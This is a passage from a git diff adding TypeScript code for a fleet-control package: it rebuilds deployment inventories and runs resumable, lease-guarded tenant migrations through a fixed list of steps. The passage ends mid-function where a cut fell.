+      readonly Readonly<Record<string, unknown>>[]
+    >();
+    for (const [factKind, bucket] of byKind) {
+      payloads.set(
+        factKind,
+        [...bucket]
+          .sort((left, right) => left.factOrdinal - right.factOrdinal)
+          .map((fact) => fact.payload),
+      );
+    }
+    ordered.set(deploymentOrdinal, payloads);
+  }
+  return ordered;
+}
+
+function factsOf(
+  index: FactIndex,
+  deploymentOrdinal: number,
+  factKind: FleetInventoryDeploymentFactKind,
+): readonly Readonly<Record<string, unknown>>[] {
+  return index.get(deploymentOrdinal)?.get(factKind) ?? [];
+}
+
+function materializeDeployment(
+  row: FleetInventoryStagedRow,
+  index: FactIndex,
+): FleetInventoryDeployment {
+  const payload = row.payload;
+  const value = text(payload, 'backend');
+  if (value !== 'workers-for-platforms' && value !== 'plain-worker') {
+    return malformedGeneration();
+  }
+  const backend: ProvisioningBackendKind = value;
+  const desiredSpecDigest = optionalText(payload, 'desiredSpecDigest');
+  const resourceRole = optionalText(payload, 'resourceRole');
+  const facts = (factKind: FleetInventoryDeploymentFactKind) =>
+    factsOf(index, row.ordinal, factKind);
+  const identity = {
+    backend,
+    ...(resourceRole === 'platform-state' ||
+    resourceRole === 'deployment-egress'
+      ? {
+          resourceRole: resourceRole as 'platform-state' | 'deployment-egress',
+          resourceGroupId: optionalText(payload, 'resourceGroupId'),
+        }
+      : {}),
+    scriptName: text(payload, 'scriptName'),
+    tenantTag: text(payload, 'tenantTag'),
+    environment: text(payload, 'environment'),
+    databaseIds: facts('database-id').map((fact) => text(fact, 'databaseId')),
+    durableObjectBindings: facts('durable-object-binding').map((fact) => {
+      const scriptName = optionalText(fact, 'scriptName');
+      const dispatchNamespace = optionalText(fact, 'dispatchNamespace');
+      return {
+        name: text(fact, 'name'),
+        className: text(fact, 'className'),
+        namespaceId: text(fact, 'namespaceId'),
+        ...(scriptName === undefined ? {} : { scriptName }),
+        ...(dispatchNamespace === undefined ? {} : { dispatchNamespace }),
+      } satisfies DurableObjectBindingInventory;
+    }),
+    serviceBindings: facts('service-binding').map((fact) => {
+      const entrypoint = optionalText(fact, 'entrypoint');
+      return {
+        name: text(fact, 'name'),
+        service: text(fact, 'service'),
+        ...(entrypoint === undefined ? {} : { entrypoint }),
+      };
+    }),
+    queueProducerBindings: facts('queue-producer-binding').map((fact) => ({
+      name: text(fact, 'name'),
+      queueName: text(fact, 'queueName'),
+    })),
+  };
+  const r2BucketBindings = facts('r2-binding').map(
+    (fact) =>
+      ({
+        name: text(fact, 'name'),
+        bucketName: text(fact, 'bucketName'),
+        jurisdiction: text(fact, 'jurisdiction') as R2Jurisdiction,
+      }) satisfies ApplicationR2Binding,
+  );
+  const secretNames = facts('secret-name').map((fact) =>
+    text(fact, 'secretName'),
+  );
+  const plainTextBindings = Object.fromEntries(
+    facts('plain-text-binding').map((fact) => [
+      text(fact, 'name'),
+      text(fact, 'text'),
+    ]),
+  );
+  const routeHostnames = facts('route-hostname').map((fact) =>
+    text(fact, 'hostname'),
+  );
+  const artifact = {
+    artifactVersion: text(payload, 'artifactVersion'),
+    ...(desiredSpecDigest === undefined ? {} : { desiredSpecDigest }),
+    schemaVersion: integer(payload, 'schemaVersion'),
+  };
+  // The two backends carry different keys in a different order, and the frozen
+  // golden baseline compares key order, so each shape is assembled explicitly.
+  if (backend === 'workers-for-platforms') {
+    return {
+      ...identity,
+      r2BucketBindings,
+      plainTextBindings,
+      secretNames,
+      routeHostnames,
+      ...artifact,
+    };
+  }
+  return {
+    ...identity,
+    kvNamespaceBindings: facts('kv-binding').map((fact) => ({
+      name: text(fact, 'name'),
+      namespaceId: text(fact, 'namespaceId'),
+    })),
+    r2BucketBindings,
+    secretNames,
+    plainTextBindings,
+    routeHostnames,
+    zoneRoutes: facts('zone-route').map(
+      (fact) =>
+        ({
+          zoneId: text(fact, 'zoneId'),
+          routeId: text(fact, 'routeId'),
+          pattern: text(fact, 'pattern'),
+        }) satisfies WorkerZoneRoute,
+    ),
+    ...artifact,
+  };
+}
+
+/**
+ * Rebuilds one account inventory from staged rows and deployment
+ * facts in ordinal order. Row payloads carry an explicit `record`
+ * discriminator because several stages share one row kind for their durable
+ * work lists, and only the materialized records may reach the result.
+ */
+export function materializeFleetInventoryGeneration(
+  input: Readonly<{
+    rows: readonly FleetInventoryStagedRow[];
+    facts: readonly FleetInventoryStagedFact[];
+    options: FleetInventoryRunOptions;
+  }>,
+): FleetResourceInventory {
+  const index = indexFacts(input.facts);
+  const of = (kind: FleetInventoryRowKind, record: string) =>
+    input.rows
+      .filter((row) => row.kind === kind && row.payload.record === record)
+      .sort((left, right) => left.ordinal - right.ordinal);
+  const dispatchInventory = of('meta', 'dispatch-inventory')[0]?.payload;
+  const dispatchScriptCount =
+    dispatchInventory === undefined
+      ? undefined
+      : integer(dispatchInventory, 'dispatchScriptCount');
+  const namespaceId =
+    dispatchInventory === undefined
+      ? undefined
+      : optionalText(dispatchInventory, 'namespaceId');
+  return {
+    findings: of('finding', 'finding').map(
+      (row) =>
+        ({
+          tenantTag: text(row.payload, 'tenantTag'),
+          environment: text(row.payload, 'environment'),
+          kind: text(row.payload, 'kind'),
+          detail: text(row.payload, 'detail'),
+        }) as FleetInventoryFinding,
+    ),
+    ...(input.options.hostRoutingKvId === undefined
+      ? {}
+      : { hostRoutingKvId: input.options.hostRoutingKvId }),
+    dispatchScriptCount,
+    ...(dispatchInventory === undefined || dispatchScriptCount === undefined
+      ? {}
+      : {
+          dispatchNamespace: {
+            name: text(dispatchInventory, 'name'),
+            ...(namespaceId === undefined ? {} : { namespaceId }),
+            trustedWorkers: dispatchInventory.trustedWorkers as
+              | boolean
+              | undefined,
+            scriptCount: integer(dispatchInventory, 'scriptCount'),
+          },
+        }),
+    scriptRegistrations: of('registration', 'registration').map((row) => ({
+      scriptName: text(row.payload, 'scriptName'),
+      tenantTag: text(row.payload, 'tenantTag'),
+      environment: text(row.payload, 'environment'),
+      databaseId: text(row.payload, 'databaseId'),
+      routeHostname: text(row.payload, 'routeHostname'),
+    })),
+    deployments: of('deployment', 'deployment').map((row) =>
+      materializeDeployment(row, index),
+    ),
+    databaseIds: of('database-id', 'database-id').map((row) =>
+      text(row.payload, 'databaseId'),
+    ),
+    namespaceIds: of('namespace-id', 'namespace-id').map((row) =>
+      text(row.payload, 'namespaceId'),
+    ),
+    unavailableR2Jurisdictions: Object.freeze(
+      of('meta', 'unavailable-r2-jurisdiction').map((row) => {
+        const jurisdiction = text(row.payload, 'jurisdiction');
+        if (jurisdiction !== 'eu' && jurisdiction !== 'fedramp') {
+          throw new FleetInventoryStateError();
+        }
+        return jurisdiction;
+      }),
+    ),
+    r2Buckets: of('r2-bucket', 'r2-bucket').map((row) => ({
+      bucketName: text(row.payload, 'bucketName'),
+      jurisdiction: text(row.payload, 'jurisdiction') as R2Jurisdiction,
+      creationDate: text(row.payload, 'creationDate'),
+    })),
+    routes: of('route', 'route').map(
+      (row) =>
+        withoutRecord(row.payload) as FleetResourceInventory['routes'][number],
+    ),
+  };
+}
diff --git a/packages/fleet-control/src/fleet-migration-advance.ts b/packages/fleet-control/src/fleet-migration-advance.ts
new file mode 100644
index 00000000..3371c18c
--- /dev/null
+++ b/packages/fleet-control/src/fleet-migration-advance.ts
@@ -0,0 +1,650 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import type { AttestConvergedActiveRouteOptions } from './active-route.js';
+import type { FinalizedOrdinaryStateProvider } from './backend-switch.js';
+import {
+  isDeploymentEnvironment,
+  isDeploymentTenantTag,
+} from './deployment-context.js';
+import {
+  admitFleetMigrationItem,
+  assertFleetMigrationPlanCompatibility,
+  executeNextMigrationStep,
+  revalidateFleetMigrationAdmission,
+} from './fleet.js';
+import {
+  type FleetMigrationItem,
+  type FleetMigrationProgress,
+  fleetMigrationItemFromUnknown,
+  fleetMigrationOperationRecordFromUnknown,
+} from './fleet-migration-state.js';
+import {
+  assertFleetOperationId,
+  canonicalFleetOperationBytes,
+  classifyFleetOperationToken,
+  FLEET_OPERATION_ITEM_BOUND,
+  FLEET_OPERATION_RECORD_ROW_BYTE_BOUND,
+  FLEET_OPERATION_STORE_ADVANCE_MEMBERS,
+  type FleetOperationFailure,
+  type FleetOperationLease,
+  type FleetOperationRunRecord,
+  type FleetOperationStagedRow,
+  FleetOperationStateError,
+  type FleetOperationStore,
+  type FleetOperationToken,
+  FleetOperationTokenOperationError,
+  fleetOperationIntakeDigest,
+  fleetOperationItemsIntake,
+  fleetOperationOtherKindMessage,
+  fleetOperationTokenOf,
+  malformed,
+  parseFleetOperationToken,
+  readAllFleetOperationRows,
+} from './fleet-operation-state.js';
+import type {
+  DeploymentSecrets,
+  DeploymentSpec,
+  FleetRecord,
+  FleetSettlementHost,
+  FleetStateStore,
+  ProvisioningBackend,
+} from './types.js';
+
+export type FleetMigrationAdvanceAction =
+  | Readonly<{
+      kind: 'start';
+      operationId: string;
+      records: readonly FleetRecord[];
+      canaryTenantTags: readonly string[];
+    }>
+  | Readonly<{ kind: 'continue'; token: unknown }>;
+
+export interface AdvanceFleetMigrationOptions {
+  readonly operationStore: FleetOperationStore;
+  readonly fleetStore: FleetStateStore;
+  readonly backendFor: (record: FleetRecord) => ProvisioningBackend;
+  readonly specFor: (record: FleetRecord) => DeploymentSpec;
+  readonly secretsFor: (record: FleetRecord) => DeploymentSecrets;
+  readonly finalizedStateProviderFor?: (
+    record: FleetRecord,
+  ) => FinalizedOrdinaryStateProvider | undefined;
+  readonly settlementFor?: (
+    record: FleetRecord,
+  ) => FleetSettlementHost | undefined;
+  readonly routeAttestation?: AttestConvergedActiveRouteOptions;
+  readonly clock?: () => number;
+  /**
+   * Call-local only; never persisted. Read at the entry and at the head of
+   * each item advance; a step already in flight runs to completion.
+   */
+  readonly signal?: AbortSignal;
+  /**
+   * Runs on every call that returns `complete` — the call that finalizes the
+   * operation, a later continue on the finalized operation, and a replayed
+   * start carrying the same intake — after the finalization is durable and
+   * before this call returns, with no operation lease held. Delivery follows
+   * the durable outcome, so an abort raised after the call begins does not
+   * suppress it. Delivery is therefore at least once; the host deduplicates
+   * on `operationId`. A rejection propagates to the caller and leaves the
+   * durable finalization intact.
+   */
+  readonly onComplete?: (
+    result: FleetMigrationResultRef,
+  ) => void | Promise<void>;
+  readonly action: FleetMigrationAdvanceAction;
+}
+
+export interface FleetMigrationResultRef {
+  readonly operationId: string;
+  readonly itemCount: number;
+  readonly completedItemCount: number;
+  readonly finalizedAtMs: number;
+}
+
+export type FleetMigrationAdvanceResult =
+  | Readonly<{
+      status: 'pending';
+      token: FleetOperationToken;
+      itemOrdinal: number;
+      planCursor?: number;
+    }>
+  | Readonly<{
+      status: 'complete';
+      token: FleetOperationToken;
+      result: FleetMigrationResultRef;
+    }>
+  | Readonly<{
+      status: 'failed';
+      token: FleetOperationToken;
+      failure: FleetOperationFailure;
+    }>;
+
+export type FleetMigrationAdvanceCapability = 'operation-store';
+
+export class FleetMigrationAdvanceCapabilityError extends Error {
+  readonly capability = 'operation-store';
+
+  constructor() {
+    super('fleet migration advance requires an operation store');
+    this.name = 'FleetMigrationAdvanceCapabilityError';
+  }
+}
+
+class FleetMigrationTargetDriftError extends Error {
+  constructor() {
+    super('fleet migration target specification changed after admission');
+    this.name = 'FleetMigrationTargetDriftError';
+  }
+}
+
+type MigrationRun = ReturnType<typeof fleetMigrationOperationRecordFromUnknown>;
+
+function assertOperationStore(store: FleetOperationStore): void {
+  for (const member of FLEET_OPERATION_STORE_ADVANCE_MEMBERS) {
+    if (
+      !store ||
+      !Reflect.has(store, member) ||
+      typeof store[member] !== 'function'
+    ) {
+      throw new FleetMigrationAdvanceCapabilityError();
+    }
+  }
+}
+
+function migrationRun(record: FleetOperationRunRecord): MigrationRun {
+  const run = fleetMigrationOperationRecordFromUnknown(record);
+  if (run.progress.completedItemCount !== run.progress.activeItemOrdinal)
+    return malformed();
+  return run;
+}
+
+function itemRow(item: FleetMigrationItem): FleetOperationStagedRow {
+  return {
+    rowKind: 'item',
+    ordinal: item.ordinal,
+    payload: { ...fleetMigrationItemFromUnknown(item) },
+  };
+}
+
+async function readItems(
+  store: FleetOperationStore,
+  run: MigrationRun,
+): Promise<FleetMigrationItem[]> {
+  const rows = await readAllFleetOperationRows(store, run.operationId, 'item');
+  if (
+    rows.length > run.progress.itemCount ||
+    (run.progress.revision > 0 && rows.length !== run.progress.itemCount)
+  )
+    return malformed();
+  return rows.map((row) => {
+    const item = fleetMigrationItemFromUnknown(row.payload);
+    if (row.rowKind !== 'item' || item.ordinal !== row.ordinal)
+      return malformed();
+    return item;
+  });
+}
+
+async function resultFromRun(
+  store: FleetOperationStore,
+  record: FleetOperationRunRecord,
+): Promise<FleetMigrationAdvanceResult> {
+  const run = migrationRun(record);
+  const token = fleetOperationTokenOf(run);
+  const { itemCount, completedItemCount, activeItemOrdinal } = run.progress;
+  if (run.state === 'failed') {
+    if (!run.progress.failure) return malformed();
+    return { status: 'failed', token, failure: run.progress.failure };
+  }
+  if (run.state === 'finalized') {
+    if (run.terminalAtMs === undefined || completedItemCount !== itemCount)
+      return malformed();
+    return {
+      status: 'complete',
+      token,
+      result: {
+        operationId: run.operationId,
+        itemCount,
+        completedItemCount,
+        finalizedAtMs: run.terminalAtMs,
+      },
+    };
+  }
+  if (run.progress.revision === 0 || activeItemOrdinal === itemCount) {
+    return { status: 'pending', token, itemOrdinal: activeItemOrdinal };
+  }
+  const item = (await readItems(store, run))[activeItemOrdinal];
+  if (!item || (item.status !== 'pending' && item.status !== 'active'))
+    return malformed();
+  return {
+    status: 'pending',
+    token,
+    itemOrdinal: activeItemOrdinal,
+    ...(item.planCursor === undefined ? {} : { planCursor: item.planCursor }),
+  };
+}
+
+/**
+ * Operation records use a fresh wall-clock updatedAt, independent of the
+ * deployment clock. Unequal recomposed bytes conflict; equal bytes (including
+ * coincident millisecond stamps) reach the store's row comparison. A batch's
+ * own lost response and an identical-object replay retain their original
+ * bytes. Every new continue call derives its next transition from storage.
+ */
+function progressedRun(
+  run: MigrationRun,
+  progress: FleetMigrationProgress,
+): MigrationRun {
+  return { ...run, progress, updatedAt: new Date().toISOString() };
+}
+
+async function failItem(
+  lease: FleetOperationLease,
+  run: MigrationRun,
+  item: FleetMigrationItem | undefined,
+  reason: FleetOperationFailure['reason'],
+): Promise<void> {
+  const failure: FleetOperationFailure = {
+    reason,
+    ...(item ? { itemOrdinal: item.ordinal } : {}),
+  };
+  await lease.failOperation({
+    operationId: run.operationId,
+    expectedRevision: run.progress.revision,
+    runRecord: {
+      ...progressedRun(run, {
+        ...run.progress,
+        revision: run.progress.revision + 1,
+        failure,
+      }),
+      state: 'failed',
+    },
+    ...(item ? { updateRows: [itemRow({ ...item, status: 'failed' })] } : {}),
+  });
+}
+
+async function startMigration(
+  options: AdvanceFleetMigrationOptions,
+  action: Extract<FleetMigrationAdvanceAction, { kind: 'start' }>,
+): Promise<FleetMigrationAdvanceResult> {
+  const operationId = action.operationId;
+  assertFleetOperationId(operationId);
+  const inputRecords = action.records;
+  if (inputRecords.length > FLEET_OPERATION_ITEM_BOUND) {
+    throw new Error(
+      `fleet migration start accepts at most ${FLEET_OPERATION_ITEM_BOUND} records`,
+    );
+  }
+  if (
+    inputRecords.some((record) => record === null || typeof record !== 'object')
+  ) {
+    throw new Error(
+      'fleet migration record exceeds the intake structure bounds',
+    );
+  }
+  let canaryTenantTags: unknown;
+  try {
+    canaryTenantTags = JSON.parse(
+      canonicalFleetOperationBytes(action.canaryTenantTags),
+    );
+  } catch (error) {
+    if (!(error instanceof FleetOperationStateError)) throw error;
+    throw new Error(
+      'fleet migration canaryTenantTags exceed the intake structure or byte bounds',
+    );
+  }
+  if (
+    !Array.isArray(canaryTenantTags) ||
+    !canaryTenantTags.every((tag): tag is string => typeof tag === 'string')
+  ) {
+    throw new Error(
+      'fleet migration canaryTenantTags must be an array of strings',
+    );
+  }
+  const intake = fleetOperationItemsIntake({
+    envelope: { canaryTenantTags },
+    items: inputRecords,
+    itemByteBound: FLEET_OPERATION_RECORD_ROW_BYTE_BOUND,
+  });
+  if ('reason' in intake) {
+    switch (intake.reason) {
+      case 'item-count':
+        throw new Error(
+          `fleet migration start accepts at most ${FLEET_OPERATION_ITEM_BOUND} records`,
+        );
+      case 'item-structure':
+        throw new Error(
+          `fleet migration record ${intake.itemOrdinal + 1} exceeds the intake structure bounds`,
+        );
+      case 'item-bytes':
+        throw new Error(
+          `fleet migration record ${intake.itemOrdinal + 1} exceeds the staged row byte bound`,
+        );
+      case 'aggregate-bytes':
+        throw new Error(
+          'fleet migration start canonical intake exceeds the intake byte bound',
+        );
+    }
+  }
+  const records = intake.items.map((record) => {
+    if (!record || typeof record !== 'object') return malformed();
+    const candidate = record as Record<string, unknown>;
+    if (
+      typeof candidate.tenantTag !== 'string' ||
+      !isDeploymentTenantTag(candidate.tenantTag) ||
+      typeof candidate.environment !== 'string' ||
+      !isDeploymentEnvironment(candidate.environment)
+    ) {
+      throw new Error(
+        'fleet migration record tenantTag and environment must satisfy the deployment identifier grammar',
+      );
+    }
+    return {
+      snapshot: record,
+      tenantTag: candidate.tenantTag,
+      environment: candidate.environment,
+    };
+  });
+  const canaryOrder = new Map(
+    canaryTenantTags.map((tag, index) => [tag, index]),
+  );
+  records.sort((a, b) => {
+    const aCanary = canaryOrder.get(a.tenantTag);
+    const bCanary = canaryOrder.get(b.tenantTag);
+    if (aCanary !== undefined || bCanary !== undefined) {
+      if (aCanary === undefined) return 1;
+      if (bCanary === undefined) return -1;
+      return aCanary - bCanary;
+    }
+    return `${a.tenantTag}:${a.environment}`.localeCompare(
+      `${b.tenantTag}:${b.environment}`,
+    );
+  });
+  const rows = records.map((record, ordinal) =>
+    itemRow({
+      ordinal,
+      tenantTag: record.tenantTag,
+      environment: record.environment,
+      ...(canaryOrder.has(record.tenantTag)
+        ? { canaryRank: canaryOrder.get(record.tenantTag) }
+        : {}),
+      entryRecordDigest: fleetOperationIntakeDigest(record.snapshot),
+      status: 'pending',
+    }),
+  );
+  return options.operationStore.withAccountOperationLease(
+    'migration',
+    async (lease) => {
+      await lease.assertOwned();
+      const started = await lease.startOperation({
+        operationId,
+        kind: 'migration',
+        intakeDigest: intake.digest,
+        runRecord: {
+          version: 1,
+          operationId,
+          kind: 'migration',
+          state: 'running',
+          progress: {
+            kind: 'migration',
+            revision: 0,
+            itemCount: rows.length,
+            activeItemOrdinal: 0,
+            completedItemCount: 0,
+          } as FleetMigrationProgress,
+          updatedAt: new Date().toISOString(),
+        },
+      });
+      const run = migrationRun(started.record);
+      if (started.outcome === 'adopted-terminal' || run.progress.revision > 0) {
+        return resultFromRun(options.operationStore, run);
+      }
+      await lease.stageRows({ operationId, expectedRevision: 0, rows });
+      const committed = await lease.commitProgress({
+        operationId,
+        expectedRevision: 0,
+        runRecord: progressedRun(run, { ...run.progress, revision: 1 }),
+        expectedRowWatermarks: { item: rows.length },
+      });
+      return resultFromRun(options.operationStore, committed);
+    },
+  );
+}
+
+async function advanceItem(
+  options: AdvanceFleetMigrationOptions,
+  operationLease: FleetOperationLease,
+  run: MigrationRun,
+  item: FleetMigrationItem,
+): Promise<FleetMigrationAdvanceResult> {
+  // Outside the try below: its catch durably fails the item, so an abort
+  // raised there would turn a cancellation into a permanent failure.
+  options.signal?.throwIfAborted();
+  let next: FleetMigrationItem;
+  try {
+    const attestationOptions: AttestConvergedActiveRouteOptions = {
+      clock: options.clock ?? Date.now,
+      ...options.routeAttestation,
+    };
+    next = await options.fleetStore.withDeploymentLease(
+      item.tenantTag,
+      item.environment,
+      async (lease) => {
+        await operationLease.assertOwned();
+        await lease.assertOwned();
+        const deps = {
+          store: options.fleetStore,
+          backendFor: (record: FleetRecord) => options.backendFor(record),
+          specFor: (record: FleetRecord) => options.specFor(record),
+          secretsFor: (record: FleetRecord) => options.secretsFor(record),
+          finalizedStateProviderFor: (record: FleetRecord) =>
+            options.finalizedStateProviderFor?.(record),
+          settlementFor: (record: FleetRecord) =>
+            options.settlementFor?.(record),
+          lease,
+          attestationOptions,
+          get clock() {
+            return options.clock ?? Date.now;
+          },
+          ordinal: item.ordinal + 1,
+        };
+        if (item.status === 'pending') {
+          const { admitted, plan } = await admitFleetMigrationItem(
+            deps,
+            item.tenantTag,
+            item.environment,
+          );
+          return {
+            ...item,
+            targetSpecDigest: admitted.targetDigest,
+            plan,
+            planCursor: 0,
+            status: 'active' as const,
+          };
+        }
+        const { plan, planCursor, targetSpecDigest } = item;
+        if (
+          item.status !== 'active' ||
+          plan === undefined ||
+          planCursor === undefined ||
+          targetSpecDigest === undefined
+        )
+          return malformed();
+        const admission = await revalidateFleetMigrationAdmission(
+          deps,
+          plan,
+          targetSpecDigest,
+          item.tenantTag,
+          item.environment,
+        );
+        if ('reason' in admission) throw new FleetMigrationTargetDriftError();
+        const { admitted, reread } = admission;
+        await assertFleetMigrationPlanCompatibility(
+          admitted,
+          { plan, planCursor },
+          reread,
+        );
+        await operationLease.assertOwned();
+        const step = await executeNextMigrationStep(
+          admitted,
+          plan,
+          planCursor,
+          { entry: reread, current: reread },
+        );
+        return {
+          ...item,
+          planCursor: planCursor + 1,
+          status: step.done ? ('complete' as const) : ('active' as const),
+        };
+      },
+    );
+  } catch (error) {
+    await failItem(
+      operationLease,
+      run,
+      item,
+      error instanceof FleetMigrationTargetDriftError
+        ? 'target-drift'
+        : 'item-failed',
+    );
+    throw error;
+  }
+  const complete = next.status === 'complete';
+  const committed = await operationLease.commitProgress({
+    operationId: run.operationId,
+    expectedRevision: run.progress.revision,
+    runRecord: progressedRun(run, {
+      ...run.progress,
+      revision: run.progress.revision + 1,
+      activeItemOrdinal: run.progress.activeItemOrdinal + (complete ? 1 : 0),
+      completedItemCount: run.progress.completedItemCount + (complete ? 1 : 0),
+    }),
+    updateRows: [itemRow(next)],
+    expectedRowWatermarks: { item: run.progress.itemCount },
+  });
+  return resultFromRun(options.operationStore, committed);
+}
+
+async function continueMigration(
+  options: AdvanceFleetMigrationOptions,
+  token: unknown,
+): Promise<FleetMigrationAdvanceResult> {
+  const parsed = parseFleetOperationToken(token);
+  return options.operationStore.withAccountOperationLease(
+    'migration',
+    async (lease) => {
+      await lease.assertOwned();
+      const record =
+        (await lease.readOperation(parsed.operationId)) ??
+        (await options.operationStore.readOperationById(parsed.operationId));
+      const classification = classifyFleetOperationToken(
+        parsed,
+        record,
+        'migration',
+      );
+      if (!record)
+        throw new FleetOperationTokenOperationError(parsed.operationId);
+      const run = migrationRun(record);
+      if (
+        classification === 'stale' ||
+        run.state !== 'running' ||
+        run.progress.revision === 0
+      ) {
+        return resultFromRun(options.operationStore, run);
+      }
+      if (run.progress.activeItemOrdinal === run.progress.itemCount) {
+        const finalized = await lease.finalizeOperation({
+          operationId: run.operationId,
+          expectedRevision: run.progress.revision,
+          runRecord: {
+            ...progressedRun(run, {
+              ...run.progress,
+              revision: run.progress.revision + 1,
+            }),
+            state: 'finalized',
+          },
+          expectedRowCounts: { item: run.progress.itemCount },
+          requireAllItemsComplete: true,
+        });
+        return resultFromRun(options.operationStore, finalized);
+      }
+      const item = (await readItems(options.operationStore, run))[
+        run.progress.activeItemOrdinal
+      ];
+      if (!item) return malformed();
+      return advanceItem(options, lease, run, item);
+    },
+  );
+}
+
+/** Runs one admission or one frozen migration step; callers own re-entry. */
+export async function advanceFleetMigration(
+  options: AdvanceFleetMigrationOptions,
+): Promise<FleetMigrationAdvanceResult> {
+  assertOperationStore(options.operationStore);
+  options.signal?.throwIfAborted();
+  const action = options.action;
+  const result =
+    action.kind === 'start'
+      ? await startMigration(options, action)
+      : await continueMigration(options, action.token);
+  if (result.status === 'complete') await options.onComplete?.(result.result);
+  return result;
+}
+
+/** Reads ordered item metadata, including while the operation is running. */
+export async function readFleetMigrationItemsPage(
+  store: FleetOperationStore,
+  input: Readonly<{
+    operationId: string;
+    afterOrdinal?: number;
+    limit: number;
+  }>,
+): Promise<Readonly<{ items: readonly FleetMigrationItem[]; done: boolean }>> {
+  const { operationId, afterOrdinal, limit } = input;
+  const run = await store.readOperationById(operationId);
+  if (!run) throw new FleetOperationTokenOperationError(operationId);
+  if (run.kind !== 'migration')
+    throw new Error(fleetOperationOtherKindMessage(operationId));
+  const page = await store.readOperationRowsPage({
+    operationId,
+    rowKind: 'item',
+    limit,
+    ...(afterOrdinal === undefined ? {} : { afterOrdinal }),
+  });
+  if (page.rows.length > limit || (!page.done && page.rows.length === 0))
+    return malformed();
+  const rows = [...page.rows].sort((a, b) => a.ordinal - b.ordinal);
+  const items = rows.map((row, index) => {
+    const item = fleetMigrationItemFromUnknown(row.payload);
+    if (
+      row.rowKind !== 'item' ||
+      row.ordinal !== (afterOrdinal ?? -1) + 1 + index ||
+      row.ordinal !== item.ordinal
+    )
+      return malformed();
+    return item;
+  });
+  return { items, done: page.done };
+}
+
+/** Fails a running operation and its active item; terminal calls are no-ops. */
+export async function abandonFleetMigrationOperation(
+  input: Readonly<{ operationStore: FleetOperationStore; operationId: string }>,
+): Promise<void> {
+  const { operationStore, operationId } = input;
+  await operationStore.withAccountOperationLease('migration', async (lease) => {
+    await lease.assertOwned();
+    const record =
+      (await lease.readOperation(operationId)) ??
+      (await operationStore.readOperationById(operationId));
+    if (!record) throw new FleetOperationTokenOperationError(operationId);
+    if (record.kind !== 'migration')
+      throw new Error(fleetOperationOtherKindMessage(operationId));
+    if (record.state !== 'running') return;
+    const run = migrationRun(record);
+    const item = (await readItems(operationStore, run))[
+      run.progress.activeItemOrdinal
+    ];
+    await failItem(lease, run, item, 'operator-abandoned');
+  });
+}
diff --git a/packages/fleet-control/src/fleet-migration-state.ts b/packages/fleet-control/src/fleet-migration-state.ts
new file mode 100644
index 00000000..a3cfd2b9
--- /dev/null
+++ b/packages/fleet-control/src/fleet-migration-state.ts
@@ -0,0 +1,225 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import {
+  isDeploymentEnvironment,
+  isDeploymentTenantTag,
+} from './deployment-context.js';
+import {
+  assertFleetOperationExactKeys,
+  FLEET_MIGRATION_PLAN_BOUND,
+  FLEET_OPERATION_ITEM_BOUND,
+  type FleetOperationProgress,
+  type FleetOperationRunRecord,
+  fleetOperationFailureFromUnknown,
+  fleetOperationPlainRecord,
+  fleetOperationRunRecordFromUnknown,
+  fleetOperationSafeInteger,
+  fleetOperationSha256,
+  malformed,
+} from './fleet-operation-state.js';
+
+export const FLEET_MIGRATION_STEPS = Object.freeze([
+  'retire-pre',
+  'ready-target-backfill',
+  'ready-platform-resources',
+  'ready-maintenance',
+  'ready-promote',
+  'ready-attest-settle',
+  'ready-retire-post',
+  'admit-migrating',
+  'assert-migrating',
+  'platform-only-schema',
+  'platform-only-resources',
+  'platform-only-maintenance',
+  'platform-only-promote',
+  'platform-only-ready',
+  'seed-identity',
+  'apply-migrations',
+  'migration-schema-applied',
+  'platform-resources',
+  'pending-topology',
+  'deploy-candidate',
+  'arm-maintenance',
+  'promote',
+  'settle-ready',
+  'retire-post',
+] as const);
+
+/** @useDeclaredType */
+export type FleetMigrationStep = (typeof FLEET_MIGRATION_STEPS)[number];
+
+export type FleetMigrationPlanEntry = Readonly<{
+  step: FleetMigrationStep;
+  targetSchemaVersion?: number;
+}>;
+
+export interface FleetMigrationItem {
+  readonly ordinal: number;
+  readonly tenantTag: string;
+  readonly environment: string;
+  readonly canaryRank?: number;
+  readonly entryRecordDigest: string;
+  readonly targetSpecDigest?: string;
+  readonly plan?: readonly FleetMigrationPlanEntry[];
+  readonly planCursor?: number;
+  readonly status: 'pending' | 'active' | 'complete' | 'failed';
+}
+
+export interface FleetMigrationProgress extends FleetOperationProgress {
+  readonly kind: 'migration';
+  readonly itemCount: number;
+  readonly activeItemOrdinal: number;
+  readonly completedItemCount: number;
+}
+
+export function fleetMigrationPlanEntryFromUnknown(
+  value: unknown,
+): FleetMigrationPlanEntry {
+  const candidate = fleetOperationPlainRecord(value);
+  assertFleetOperationExactKeys(candidate, ['step'], ['targetSchemaVersion']);
+  if (
+    typeof candidate.step !== 'string' ||
+    !FLEET_MIGRATION_STEPS.includes(candidate.step as FleetMigrationStep) ||
+    (candidate.step !== 'apply-migrations' &&
+      candidate.targetSchemaVersion !== undefined) ||
+    (candidate.targetSchemaVersion !== undefined &&
+      !fleetOperationSafeInteger(candidate.targetSchemaVersion, 1))
+  ) {
+    return malformed();
+  }
+  return {
+    step: candidate.step as FleetMigrationStep,
+    ...(candidate.targetSchemaVersion === undefined
+      ? {}
+      : { targetSchemaVersion: candidate.targetSchemaVersion }),
+  };
+}
+
+export function fleetMigrationItemFromUnknown(
+  value: unknown,
+): FleetMigrationItem {
+  const candidate = fleetOperationPlainRecord(value);
+  assertFleetOperationExactKeys(
+    candidate,
+    ['ordinal', 'tenantTag', 'environment', 'entryRecordDigest', 'status'],
+    ['canaryRank', 'targetSpecDigest', 'plan', 'planCursor'],
+  );
+  if (
+    !fleetOperationSafeInteger(candidate.ordinal) ||
+    candidate.ordinal >= FLEET_OPERATION_ITEM_BOUND ||
+    typeof candidate.tenantTag !== 'string' ||
+    !isDeploymentTenantTag(candidate.tenantTag) ||
+    typeof candidate.environment !== 'string' ||
+    !isDeploymentEnvironment(candidate.environment) ||
+    (candidate.canaryRank !== undefined &&
+      (!fleetOperationSafeInteger(candidate.canaryRank) ||
+        candidate.canaryRank >= FLEET_OPERATION_ITEM_BOUND)) ||
+    !fleetOperationSha256(candidate.entryRecordDigest) ||
+    (candidate.status !== 'pending' &&
+      candidate.status !== 'active' &&
+      candidate.status !== 'complete' &&
+      candidate.status !== 'failed')
+  ) {
+    return malformed();
+  }
+  const admitted = candidate.targetSpecDigest !== undefined;
+  if (
+    (candidate.status === 'pending' && admitted) ||
+    (candidate.status !== 'pending' &&
